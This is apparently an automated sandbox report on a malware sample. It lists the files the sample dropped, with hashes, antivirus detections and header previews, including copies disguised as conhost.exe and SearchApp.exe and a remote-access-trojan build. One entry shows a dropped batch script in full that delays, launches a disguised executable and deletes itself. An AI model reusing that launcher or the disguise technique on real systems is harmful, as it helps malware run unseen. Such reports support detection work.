C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\bMCzMxeQsb.exe

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4173824
Entropy (8bit):	7.8287711682156464
Encrypted:	false
SSDEEP:	98304:0YN5zgov0Ev1wOj0EsDvoFt5mWZ1pegLaaDQojhfASjwc:0k550zE51GaDQGfo
MD5:	6CF5F23F1C8CA3BC6342506BAAC300DA
SHA1:	18AFFB87F0E996D202F0BE3B8109701120EA3995
SHA-256:	F3EE0A31D29B515D2E0BF776507897CA3EF5605D0470ADCC4163209BA78E3445
SHA-512:	66830DA8515A32F3CF03149F0B23398265CBAD452BE1E81BFBAA2FB553E607AB498B2E6D2AF06D9EC840236C2FE7D964443ED4F2AB4D9E50BD07ECF1AA70335B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.................v?..6.......?.. ....?...@.. ....................... @...........@...................................?.K.....?.......................@...................................................... ............... ..H............text....t?.. ...v?................. ..`.sdata.../....?..0...z?.............@....rsrc.........?.......?.............@..@.reloc........@.......?.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\0fc9465337303e

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	ASCII text, with very long lines (302), with no line terminators
Category:	dropped
Size (bytes):	302
Entropy (8bit):	5.823260410930231
Encrypted:	false
SSDEEP:	6:KmfIqWQ9FG8F2kZnkL5g2FM8EhKb6R3Y2FhC2cJNktO8EjLR:KqIXQi41O238EHRIwhC24mtOtjLR
MD5:	752232FC975FC3FFC0CCC28C76DCBFE3
SHA1:	765EF6D799D8290C4E523EC6EB1C38BA7547ABC6
SHA-256:	5CE6179C13CBB212AA61B6FDD5A55D7972D533D006562D5BAEB3F6887200B383
SHA-512:	DC169C6AD70455D99F058DB58546ED514459FF0857BE68AD05B4769D5A62709FDC6158932156187A36D98FBDB2564E2CE58189FBE465594AE7B6EF368A824960
Malicious:	false
Preview:	teXC04ORGyLFQh3iJjBQtltkQczDzi6suf5WwtXX2gOpUJOSDyIoByiIuwvYFKch2cVvmgwZMoYNWEQHNgAAaRq67xm989RsEqx1xdpgCscXaVvpgnKiKcHkwZyy4wbNWpIpRYTu0d7szSglB6cUythljMEYp1mPROBuMFYHUZrqeZue3Mx7UGYmIgGEU5F91rakQvY5iUAZB1HKbkecDo5K0Ylp9TxYUsyw8KNHy1Z9G9lQZ5muam5NvQu2Ks6OhlETCUMRXXoMO6D0xVQDrD8rwlAraU7F4Lbf5ROEtVXD8t

C:\Program Files\Common Files\bMCzMxeQsb.exe

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4173824
Entropy (8bit):	7.8287711682156464
Encrypted:	false
SSDEEP:	98304:0YN5zgov0Ev1wOj0EsDvoFt5mWZ1pegLaaDQojhfASjwc:0k550zE51GaDQGfo
MD5:	6CF5F23F1C8CA3BC6342506BAAC300DA
SHA1:	18AFFB87F0E996D202F0BE3B8109701120EA3995
SHA-256:	F3EE0A31D29B515D2E0BF776507897CA3EF5605D0470ADCC4163209BA78E3445
SHA-512:	66830DA8515A32F3CF03149F0B23398265CBAD452BE1E81BFBAA2FB553E607AB498B2E6D2AF06D9EC840236C2FE7D964443ED4F2AB4D9E50BD07ECF1AA70335B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.................v?..6.......?.. ....?...@.. ....................... @...........@...................................?.K.....?.......................@...................................................... ............... ..H............text....t?.. ...v?................. ..`.sdata.../....?..0...z?.............@....rsrc.........?.......?.............@..@.reloc........@.......?.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Microsoft\OneDrive\088424020bedd6

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	ASCII text, with very long lines (603), with no line terminators
Category:	dropped
Size (bytes):	603
Entropy (8bit):	5.900152853344719
Encrypted:	false
SSDEEP:	12:qHiBtVBbFE2lpoVtlXEcoT0jBojviNtcX6TsejEj4RwdY8DeOp/D:oiBtVZHlpoVtl0cVjB2etkysbkTOpb
MD5:	60438AAE597B693C2E86984F37EA026A
SHA1:	50D4FAE8600B4047291141101791F40F271A5A0B
SHA-256:	571410EAFD7F5F4C3A84F73B7B0C1C3CF0EFBAF9F00769DF50ACFF74F1971014
SHA-512:	E729F316529A94C6C54EE47D3294653AE70A9B2A50523936651CCB2DE3D23A23C84C6A546389AD227B5DC5EE2936619F98BE2263739FD63A754C888265964E08
Malicious:	false
Preview:	7FC0dg35nuOnPKgZnzUuPkTBLIZ1JKIU8zoZ7cT5EvMAJfJMzMji53VXwBoUHCvcm4pafHcLgZpeXT1q9MB7ljYEdRn5x8xC9uXP0sqstYCgN19cK8V4Ax1Dfk7OegXhlnen6l0QgTNMh20mRKvym3BM2UtPucNNAf5kWWfiIFXrjpgmtV6Tui4rlRvm2kfDFAMB7QP5oMqhfTnNxGgZg4cbkN8El3qijUmjcepdFAoi2WMRohyvEGhLhubuRKUvgI8LrDuTbDUfP4jOArZDF4ddwbBsC4L5q3CtYBjlxeUAwB6nLNtkuQplofYQCCQg1YyV2z09HyQkkcrueYhzLlKaObF2mTjvNxJXMkvVXtc5AEALyovnfbUQOYGau7XyPfXxTUh4nLcbIOZJa3E8h5Qwc3IydUlZWoqfrN2eG19T93HA97A03ZQUPlUaLtaTkCFei4cNBj1q56wjvIygUug6YVPF2bSWbqs6xnbEewzThkYSyvoD4380fIFMoWUjReOOO0vIquCh4NYy77RHwPcir1aohOZHbPCDVJE89gWK1b5SuRPrFNwBCqhWZHlcU4GpLVdx3TIQ3SrQ6I4P9sCOcAB

C:\Program Files\Microsoft\OneDrive\conhost.exe

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4173824
Entropy (8bit):	7.8287711682156464
Encrypted:	false
SSDEEP:	98304:0YN5zgov0Ev1wOj0EsDvoFt5mWZ1pegLaaDQojhfASjwc:0k550zE51GaDQGfo
MD5:	6CF5F23F1C8CA3BC6342506BAAC300DA
SHA1:	18AFFB87F0E996D202F0BE3B8109701120EA3995
SHA-256:	F3EE0A31D29B515D2E0BF776507897CA3EF5605D0470ADCC4163209BA78E3445
SHA-512:	66830DA8515A32F3CF03149F0B23398265CBAD452BE1E81BFBAA2FB553E607AB498B2E6D2AF06D9EC840236C2FE7D964443ED4F2AB4D9E50BD07ECF1AA70335B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.................v?..6.......?.. ....?...@.. ....................... @...........@...................................?.K.....?.......................@...................................................... ............... ..H............text....t?.. ...v?................. ..`.sdata.../....?..0...z?.............@....rsrc.........?.......?.............@..@.reloc........@.......?.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Windows Multimedia Platform\0fc9465337303e

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	98
Entropy (8bit):	5.313027319088289
Encrypted:	false
SSDEEP:	3:0Oc8BTXWlxrrIlOjkLQAPhE9d5NnTTPIgDaA8s:3cCI19Bn/GA9
MD5:	E1C707524A45DB013040E63A023BC328
SHA1:	4653649F85B6AEA0B160DE764A5435C851758008
SHA-256:	CD433F4F5ECB1A2F12091528726BFD1568A3B4503E7233464C22653AE1B1218B
SHA-512:	B9A64A9114FA4CDD968C6456F4162622F76847C0C7EE05E2E9B687F3ED0E7412364885FFE1EA631A6020398D8D985D82018B765BD3E4F0144EE6F85B746638AE
Malicious:	false
Preview:	2mKrekyYPnvr3YZexTTHmsm3lxihk979pdcxsEX2CNYEIYBKAAXhYKcJARGqBRyQqvBa6mvs6aEZThvNvYgjmalfASwb8q0vYI

C:\Program Files\Windows Multimedia Platform\bMCzMxeQsb.exe

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4173824
Entropy (8bit):	7.8287711682156464
Encrypted:	false
SSDEEP:	98304:0YN5zgov0Ev1wOj0EsDvoFt5mWZ1pegLaaDQojhfASjwc:0k550zE51GaDQGfo
MD5:	6CF5F23F1C8CA3BC6342506BAAC300DA
SHA1:	18AFFB87F0E996D202F0BE3B8109701120EA3995
SHA-256:	F3EE0A31D29B515D2E0BF776507897CA3EF5605D0470ADCC4163209BA78E3445
SHA-512:	66830DA8515A32F3CF03149F0B23398265CBAD452BE1E81BFBAA2FB553E607AB498B2E6D2AF06D9EC840236C2FE7D964443ED4F2AB4D9E50BD07ECF1AA70335B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.................v?..6.......?.. ....?...@.. ....................... @...........@...................................?.K.....?.......................@...................................................... ............... ..H............text....t?.. ...v?................. ..`.sdata.../....?..0...z?.............@....rsrc.........?.......?.............@..@.reloc........@.......?.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8531414573499073
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugz:gJjJGtpTq2yv1AuNZRY3diu8iBVqFd
MD5:	5A698F94C65B468649784649C9526A9E
SHA1:	72108EC58020653318A9551CB8D9BB51FCA893A5
SHA-256:	4540CD7E351DE5261B12D60739D4C6E83913002A74191BCB711E3C860DFD2E40
SHA-512:	378758F13F8A89F79FAE53E9A1824F93F9C424A39C580B4DCC5B028B5EDCD85EC4F699F3F0286241A9D9380EA8F5B111C55FD4841D3372583048ABA49EEFDC70
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xb6dec37b, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6586113087483831
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:haza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	3A391694E0A79F621327DBF7C96430A6
SHA1:	0CDD255FDC1F5086FF7621ADDBA2FC5E096B75FB
SHA-256:	6A674674466DE3670EEFDABE796E6F02E573029A65F5B0B2DA319732529BE511
SHA-512:	9D2BBCBB6026B90EBD97D549FC19DAAD6B352499A9BDF4BF42D3CF513F044238759EDC1CE6218DEC86124E3038C222F5E9EF68B43A7BE67F19BF877FA0402A1B
Malicious:	false
Preview:	...{... ...............X\...;...{......................0.z..........{.......\|E.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................f......\|g..................."......\|E..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08158082283142432
Encrypted:	false
SSDEEP:	3:yHl/yYeFh69tGuAJkhvekl14WI6T/ollrekGltll/SPj:yHl/yzFh0trxlBDAJe3l
MD5:	5341FFB6784D08974CFF0166B58F13ED
SHA1:	BC6D61DAF889725C0B5C1B5A64FC547B483800B8
SHA-256:	A71C321CE1A0D0FB66C763587E13A1BAD62271F1FF8E8BEE06BFFEAA90498C44
SHA-512:	ECC398A4B06507EEE3BEF4CB455EA4208D7E38F1DD970EBAFC50177A514D713875D228027BAB212AEE15C271A6365F1E42E8BD8BF2DB7F0B74FCFF5A4A3BBFB9
Malicious:	false
Preview:	\e.I.....................................;...{.......\|E......{...............{.......{...XL......{...................."......\|E.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Recovery\0fc9465337303e

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	ASCII text, with very long lines (637), with no line terminators
Category:	dropped
Size (bytes):	637
Entropy (8bit):	5.8996731545088785
Encrypted:	false
SSDEEP:	12:mwMIAEepwehnS20YC/B4GI5CQdjPuQW+fGNA4ifYITyT9D5igI9u:mwJZepMSC+DWcgZ8wogL
MD5:	13C896F31BF7E7696DCF712D70DDDDB6
SHA1:	0DEF0B77FEBEEB69BDBD040B95B0B90E4AC47F82
SHA-256:	091A04E2B90478C205BDE5EE3357DB7DD44C7D4BDD1B12EDC1B7DD844F7EB463
SHA-512:	7EECC85AC1E3BBB96DFB5DBE96818A188A2E9E7E84EFAF05F3C49D4D403B84CC97EE6B0F8A4EBE1655B25A2739218A369B2F02883150BE95494029B61D078CA5
Malicious:	false
Preview:	qssdLgAH5BINRxNtGtxFrFzy3kjCTM4Q1rWzr5PMRIqj4ZWT1rO0Tj5l33kk67xsH1VkbYCLdlxjYP4eOPLm8E7Swu6yVpPUU8cDDv2dpCWrwVNn8GVrvLuD3DyqbO0yWcOZx1bdWs65rQfagTzOThiJOZJ96LCbMiVTHx0Hp2UDOyVnhYJIYley4FLYrbgLpftJ5MTtdrjbMe5ZDgciB3CkDgZBlbaNVJXtFMrVFaprBDlZKwVK97JwcIFYwRHBQWGDGLU0yGdlOVjA591zGQOXAlQ6GTiySnap6iS8beV2eihHjFdwZS4AHsCe5YtfipSk44DWq3Xm4W3cEIXB0vYAtahOfyCDu0UzP6NoCGFf4SGvzkawAspwQR1eWy021T1DCDMH5s8tp2FaTwZ5XPDCLhi7FtSNPNolbCsvXS1Su5GXMaKjZ5elQz2efOCMZvdcOe9RDniFYvRPaLvoisxUsDVlKOQIPp29coJra3gvWZMfhmETcYnq7ItKJXGzXZ0t2SxvBDNpMC7T0zEiJ6p1BLBT48iCxqY7jdmOySSZK7e5KaTTThqbt8rrQe1DfL2gnAuXN0u0oQqDrGIdoPtPA7Nkw57TbO39F8RKq6FcxzwdSnAKVXYPbnfqx

C:\Recovery\bMCzMxeQsb.exe

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4173824
Entropy (8bit):	7.8287711682156464
Encrypted:	false
SSDEEP:	98304:0YN5zgov0Ev1wOj0EsDvoFt5mWZ1pegLaaDQojhfASjwc:0k550zE51GaDQGfo
MD5:	6CF5F23F1C8CA3BC6342506BAAC300DA
SHA1:	18AFFB87F0E996D202F0BE3B8109701120EA3995
SHA-256:	F3EE0A31D29B515D2E0BF776507897CA3EF5605D0470ADCC4163209BA78E3445
SHA-512:	66830DA8515A32F3CF03149F0B23398265CBAD452BE1E81BFBAA2FB553E607AB498B2E6D2AF06D9EC840236C2FE7D964443ED4F2AB4D9E50BD07ECF1AA70335B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.................v?..6.......?.. ....?...@.. ....................... @...........@...................................?.K.....?.......................@...................................................... ............... ..H............text....t?.. ...v?................. ..`.sdata.../....?..0...z?.............@....rsrc.........?.......?.............@..@.reloc........@.......?.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Default\38384e6a620884

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	117
Entropy (8bit):	5.541961488792278
Encrypted:	false
SSDEEP:	3:ubSEFRtS8OJW3mBBaEIqqm/KVCphuklBMQyQE:ubnRtYW32BaEIqvCVCWkl6QyQE
MD5:	ADD0CAE2FE244AE14AE0C5EB0B9E2821
SHA1:	A3005088F0819A21E3CD996152423E142C8A2849
SHA-256:	D77B0443852695D0D92B9B060C535231C6568BEAECD34DE7FBDDE5C362505FF1
SHA-512:	BAFDC98E39D626F3E6E5A460279ED4589CAF0BF24A0C62F1C79A07FD8AEEE13D9C283F61994A9C9057B3A39A2A47E4D7C7FD7534E94EF022859F6AB5D7692837
Malicious:	false
Preview:	JpCs1ckrZxDCvRL0qmhuKZU9RcrXt8smtuPukRqGf9m3R2xBId7Lo46uUCbZuM7bFbSACaQZ5bOKxasZoqPQAg8zyfZhzRVTBKy0jx8rNiPNqv64UBuD7

C:\Users\Default\SearchApp.exe

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4173824
Entropy (8bit):	7.8287711682156464
Encrypted:	false
SSDEEP:	98304:0YN5zgov0Ev1wOj0EsDvoFt5mWZ1pegLaaDQojhfASjwc:0k550zE51GaDQGfo
MD5:	6CF5F23F1C8CA3BC6342506BAAC300DA
SHA1:	18AFFB87F0E996D202F0BE3B8109701120EA3995
SHA-256:	F3EE0A31D29B515D2E0BF776507897CA3EF5605D0470ADCC4163209BA78E3445
SHA-512:	66830DA8515A32F3CF03149F0B23398265CBAD452BE1E81BFBAA2FB553E607AB498B2E6D2AF06D9EC840236C2FE7D964443ED4F2AB4D9E50BD07ECF1AA70335B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.................v?..6.......?.. ....?...@.. ....................... @...........@...................................?.K.....?.......................@...................................................... ............... ..H............text....t?.. ...v?................. ..`.sdata.../....?..0...z?.............@....rsrc.........?.......?.............@..@.reloc........@.......?.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\fontsessionruntime.exe.log

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1915
Entropy (8bit):	5.363869398054153
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkhHNpvJHVHmHKlT4x:iq+wmj0qCYqGSI6oPtzHeqKkhtpB1Gq2
MD5:	5D3E8414C47C0F4A064FA0043789EC3E
SHA1:	CF7FC44D13EA93E644AC81C5FE61D6C8EDFA41B0
SHA-256:	4FDFF52E159C9D420E13E429CCD2B40025A0110AD84DC357BE17E21654BEEBC7
SHA-512:	74D567BBBA09EDF55D2422653F6647DCFBA8EF6CA0D4DBEBD91E3CA9B3A278C99FA52832EDF823F293C416053727D0CF15F878EC1278E62524DA1513DA4AC6AF
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SolaraBootstrapper.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1050
Entropy (8bit):	5.3494375421744005
Encrypted:	false
SSDEEP:	24:ML9E4KLE4KnKDE4KhKiKhPKIE4oKNzKoZAE4KzeRE4Ks:MxHKLHKnYHKh3oPtHo6hAHKzeRHKs
MD5:	741E4F1547EA86A558BB07C1C24FB1B0
SHA1:	2E4AA5A266353C2782C429DB72F3E8667F7BA145
SHA-256:	64C5BD2C308687466A86E91A3AC34474356243089AAD6698EB227E544D1AA7F5
SHA-512:	35CC1F198E259A83CBDABD9FC8867FE3677A3B71AF11D178ECA4BF5E04E2ACCBBA1BD938AD32BE9569FBDD612C939E46352FBCAA35F890B014983F4F977B0DE4
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.IO.Compression.FileSystem, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..2,"System.IO.Compression, Version=4.0.0.0, Cul

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\?? ? ??? \Display (1).png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	531236
Entropy (8bit):	7.917975397881524
Encrypted:	false
SSDEEP:	12288:caVDBl8cGy41j3Ixu0imUy89qNdSKHskHn5mV4ni+Xbb:coDc51jt6U9q3SKNw21bb
MD5:	A594D92D70A36843CD172FC37E1D4BE9
SHA1:	8612BEFC90D920D185BAFD7B6F1C513D8125435E
SHA-256:	EDFBB57D51CA86FD44F88B863D84A8EF36AF53E711D3981A30E07AFCED7038A8
SHA-512:	D424A0592181C68E46CE544EA962B9FDD589C8EB3B6B2A622F0C0DA5FBEDBF5FB2FF984FF3AABF7372DF03315235B1F05FA77C779FC339CFAEF6837164695807
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^..w.%.....{...(..wvN.1...3."AV..n.6.........Zk.."@..V... ...B..:!.:...HhI......}..^... .....]3.......5.$..c7.\|..Z....h......_.k6....3D6....I....p...(.5..H...J6....^...s./6..+6.h..^:8.K..........p.._)..ouDv.x.-.y~.6d.n<.9o.KvvN..7.}..j.....g.O....d.$..k.";..M...).i/...Dz.K.&9....S^r../.!=.d'.........A.......8.>.Q..+x.#..7.....R+...T..~..VAv.....aO5....a.s.6;.....&;.@..... V?..@9Gc..cH._..k,.f..{..}.mP...>.yK..#...a..c....}...H ......}..(.^........%{z.X....\|\k2?_.=....{...{.0.<....h......{w..n+]m........;......m............N+]......%./.}.....c...i.vY.....v..y....~2}I.c\...3....2.?.2...r....qm....4.N[...y.......6..{{.~..w...NY...4.y./.d...t.....{../.&S.......3.}=v--1.{.......i.C..b..~..~.).....&...d?.Q?.8?P......{..6iQ..G,......?~.......I..z..c.5...}...5}.^.....L.s..z.j\.....s.....OLy.8...I.w.c6.~..,.n77.%..ru?...=..X..{..1.nr..Z...>.......k......Y.

C:\Users\user\AppData\Local\Temp\B74FhMKHT4.bat

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	205
Entropy (8bit):	5.047336731500274
Encrypted:	false
SSDEEP:	6:hITg3Nou11r+DE1VdWWKOZG1923fUuijK:OTg9YDEpcuaK
MD5:	FE14CB3FD57C7663800741151973C7EC
SHA1:	26F213EF0E9B3318732AB740C7AADEF27633472D
SHA-256:	BCC0260B418060BFD8CF5A9913BF532518BE9CB9BC67F234BA278BE1B88F35BB
SHA-512:	D1856543DFA89307FB633907FC0F19CFDC5B793E7CC68F313C7AB33D3E3497A292C127357C0B5591C7FE854A535371AE024ACD3A82ECF84B10009DAB21478825
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 1>nul..start "" "C:\Users\user\ShellExperienceHost.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\B74FhMKHT4.bat"

C:\Users\user\AppData\Local\Temp\Built.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25165824
Entropy (8bit):	3.3348510205585598
Encrypted:	false
SSDEEP:	196608:vrL/0tGurErvI9pWjgaAnajMsK23fQC//OoLxhw:EtGurEUWjJjYoo4jLxhw
MD5:	68D3EA3AFA53DEDFD3593D140747B932
SHA1:	757FF4EA1105BDCC861C98872CB28F3A32B170E9
SHA-256:	97E31AE693F118965C81672374DFA269F2B5C3C2B9502AC983F8B5817D5D0002
SHA-512:	B72ADB6EED395DB98F9BD3452C82252807320ED682CD585714FA4D526B6644EA873A62914F5FED2989FCF85F7B2E9472E37C2E3BBFB92867A2747CCEE8EF8048
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............................-..............,..........................................Rich............................PE..d...0.lf.........."....&.....v......@..........@......................................v...`.....................................................x....p..@....0...#....v.H$......X...`............................... ...@...............8............................text............................... ..`.rdata..6/.......0..................@..@.data....3..........................@....pdata...#...0...$..................@..@_RDATA.......`......................@..@.rsrc...@....p......................@..@.reloc..X............"..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\x4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11960320
Entropy (8bit):	7.999234742000107
Encrypted:	true
SSDEEP:	196608:uHJv7g8MaX2ftjKAn9EVQODmgPaav5reiYS49zJu7pioQZBMPhk0u+Gnc3f5fM1R:YB7gIEj76VlD/is5rW79F8iFfcv5k1SQ
MD5:	108590051FAB4871AF861B8B12AD1E96
SHA1:	172D10992C078145E1439E85869DCEE89E95819B
SHA-256:	7D11195746ED7866DCE67EBE82DD5C9BDC6F3251528A9D40C22BE61612F71D1A
SHA-512:	27863D3991E490D69F199D8BF3EA521BEE1CFE18336FCF64960C5FA16CD4EC7FC7E4A74F4795B9FFEED194326F6F28DC800569B0E6F7D2BB8647D64F37C2D544
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 89%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Q.....................n............... ....@.......................................................................... ..P.......@a........................................................................... ...............................text...&........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...@a.......b..................@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Download File

